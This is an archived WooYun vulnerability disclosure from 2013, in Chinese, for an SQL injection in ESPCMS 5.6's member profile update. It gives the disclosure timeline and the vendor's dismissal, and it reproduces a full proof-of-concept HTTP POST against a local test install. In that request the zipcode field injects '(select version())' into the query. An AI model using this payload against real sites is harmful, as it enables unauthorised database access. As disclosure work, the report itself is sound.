乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-05-31: 细节已通知厂商并且等待厂商处理中 2013-06-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2013-07-26: 细节向核心白帽子及相关领域专家公开 2013-08-05: 细节向普通白帽子公开 2013-08-15: 细节向实习白帽子公开 2013-08-26: 细节向公众公开
又出现了注入漏洞,
POST /espcms_utf8_5.6.13.04.22_b/upload/index.php?ac=membermain&at=save HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://localhost/espcms_utf8_5.6.13.04.22_b/upload/index.php?ac=membermain&at=editinfoCookie: ECS[visit_times]=3; deal_city=15; VUAH_2132_saltkey=Ip9qjMop; lXeu_2132_saltkey=HPWeBNe1; lXeu_2132_lastvisit=1369410091; lXeu_2132_ulastactivity=6a00rULKQIzPDIXidvYIzNBwa%2F9AorEkXleI1PvSsABgSPgE9xgh; lXeu_2132_lastcheckfeed=1%7C1369413715; lXeu_2132_nofavfid=1; cdq_auth=ATdXWAdgBTUCOQJsAWtSDgI0AV8HYAM2BGNWZAA0BWUFMwIyBzcBMQJnU2JVMgFnBTALOFBmAjRXZAM0CT4PPQE%2BV2EHZQUzAjcCMwExUmYCNQE3BwsDMA; cdq_userid=1; cdq_username=admin; cdq_guest_truename=11; cdq_guest_telephone=13412334321; [email protected]; cdq_chat_ec=2; cookiecheckrl65df1570e4df9e3eebb15d95f25922ca=1369936728; ecisp_seccode=W3WDdn5mPaRlaG1ec6mYmIs; esp_powerlist=k6Wh; ecisp_admininfo=Y7WWlNDNpbVuxWqVxpbDamPJmMacm5SSx55nxslpmWabl2ScbGOUxbOcm5hmx8ZjxGNmyZiXb5tilcydZ5rLm5mZbmSVnW1km-BotWrdZ5fHl5JoapTLmJrMaZaZy5jDyGdqmnFomGtqaZWWmpo; ECS_ID=0ba2063f70abe09728f778c1d2ba6d1e3ffaa345; ecisp_home_seccode=W3F8en1mPaRlaG1ec6yanYk; ecisp_member_username=qqKWn9vNmKg; ecisp_member_info=Y7WxYN-Vs2t5k1_F0p7dZWSXlptmnGRkmeJlkplmbGZuZ2VssZPFm2yenJOUkpaWk2ZsmZjInJ1kasvLl8ScZ5iacGdqtWhlmpRvb5uSaJuUaJJja5zKlJyfkmeWyGmUzGtrmZyYX-Forwarded-For: 127.0.0.1Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 370upurl=http%3A%2F%2Flocalhost%2Fespcms_utf8_5.6.13.04.22_b%2Fupload%2Findex.php%3Fac%3Dmembermain%26at%3Deditinfo&inputclass=editinfo&userid=1&username=root%40localhost&email=2%402.com&mvid=&alias=&sex=1&birthday=2013-05-31&cityone=0&citytwo=0&citythree=0&district=0&address=&zipcode=0,username=(select+version())&tel=&mobile=&msn=1&qq=0&submit=%E7%A1%AE%E8%AE%A4%E4%BF%AE%E6%94%B9%E8%B5%84%E6%96%99
修改zipcode的值
过滤下。
危害等级:无影响厂商忽略
忽略时间:2013-08-26 23:58
已漏洞已之前提供過,並做出修複!!!感謝您的關注!
暂无